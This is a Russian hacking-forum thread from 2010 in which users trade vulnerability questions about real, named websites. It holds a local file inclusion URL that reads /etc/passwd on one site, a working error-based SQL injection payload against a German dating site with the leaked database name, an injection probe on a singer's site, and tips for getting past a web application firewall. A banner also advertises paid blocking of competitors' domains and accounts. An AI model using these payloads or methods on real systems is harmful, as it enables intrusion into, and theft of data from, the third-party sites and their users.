Ваши вопросы по уязвимостям.

FORUMS

MEMBERS

RECENT POSTS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 1245 из 2422

1245

Опции темы

Поиск в этой теме

Опции просмотра

23.04.2010, 15:34

Strilo4ka

Reservists Of Antichat - Level 6

Регистрация: 05.04.2009

Сообщений: 231

С нами: 9000386

Репутация: 1148

Цитата:

Сообщение от stasiliy

Подскажите.. разбираюсь щас с пхп-инъекц..
нашел сайт, там присутствует локальный инклюд, внешнего нету, что я могу зделать???
могу ли чтото добыть интересное или залить шелл какимто образом??
сайт: http://www.sidi-kaouki.com/new/index.php?f=../../../../../../../etc/passwd

𝕏 Twitter Reddit Telegram Копировать ссылку

Последний раз редактировалось Strilo4ka; 24.04.2010 в 03:21..

23.04.2010, 15:49

stasiliy

Новичок

Регистрация: 26.09.2009

Сообщений: 22

С нами: 8749821

Репутация: 0

крута))) спс

23.04.2010, 16:01

AKYLA

Участник форума

Регистрация: 29.11.2007

Сообщений: 116

С нами: 9709737

Репутация: 88

Ctacok
Это мне было адресовано? это в смысле там одна колонка будет? просто как не составлял запрос, ничего не выходит, подобрать колонки не удается

Чтоб было понятнее:

Цитата:

Пост запрос http://www.flirt-hunter.de/dating/kontaktanzeigen.php?fill=1&profilstep=0&country=1& sex=112'&altervon=18&alterbis=99&plzahl=1&Submit=S uchen

Уязвимость по идее в sex.

23.04.2010, 16:05

Ctacok

Moderator - Level 7

Регистрация: 19.12.2008

Сообщений: 1,203

С нами: 9154406

Репутация: 2221

Цитата:

Сообщение от AKYLA

Чтоб было понятнее:

Уязвимость по идее в sex.

Тогда так

Цитата:

http://www.flirt-hunter.de/dating/kontaktanzeigen.php?fill=1&profilstep=0&country=1& sex=-1+or%281,1%29=%28select+count%280%29,concat%28%28s elect+database%28%29+from+information_schema.table s+limit+0,1%29,floor%28rand%280%29*2%29%29from%28i nformation_schema.tables%29group+by+2%29--++&altervon=18&alterbis=99&plzahl=1&Submit=Suchen

Duplicate entry 'inlove241' for key 1
database=inlove24

23.04.2010, 18:47

~d0s~

Познающий

Регистрация: 17.04.2010

Сообщений: 75

С нами: 8456812

Репутация: 55

del

Последний раз редактировалось ~d0s~; 10.05.2010 в 04:56..

24.04.2010, 00:53

pinch

Участник форума

Регистрация: 13.12.2009

Сообщений: 130

С нами: 8638130

Репутация: 54

как можно обойти фильтрацию на select?? замучался уже стоит WAF

24.04.2010, 12:25

stasiliy

Новичок

Регистрация: 26.09.2009

Сообщений: 22

С нами: 8749821

Репутация: 0

Цитата:

Сообщение от pinch

как можно обойти фильтрацию на select?? замучался уже стоит WAF

ну могыт так: selselectect )) хз

Мужики))хдд
http://www.bilandima.ru/html/promofoto.php?p=156_anasteshiya' ДИМА БИЛАН))хы

24.04.2010, 00:58

warlok

Постоянный

Регистрация: 18.02.2008

Сообщений: 368

С нами: 9594385

Репутация: 386

Цитата:

как можно обойти фильтрацию на select?? замучался уже стоит WAF

может быть чето вроде +union+/*!select*/+1 а может и нет, вообще бессмыслено что то думать без ссылки.
--------------------
заливал кто шел через webasyst ? какие методы есть ?

Последний раз редактировалось warlok; 24.04.2010 в 02:29..

24.04.2010, 01:01

pinch

Участник форума

Регистрация: 13.12.2009

Сообщений: 130

С нами: 8638130

Репутация: 54

редиректит на гугль
пробовал
/* */
/*! */
/*!12345 */
не катит....

#10

24.04.2010, 01:08

[Feldmarschall]

Участник форума

Регистрация: 06.01.2010

Сообщений: 136

С нами: 8603287

Репутация: 87

Цитата:

Сообщение от pinch

редиректит на гугль
пробовал
/* */
/*! */
/*!12345 */
не катит....

('...'+'...') так?

Страница 1245 из 2422

1245

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57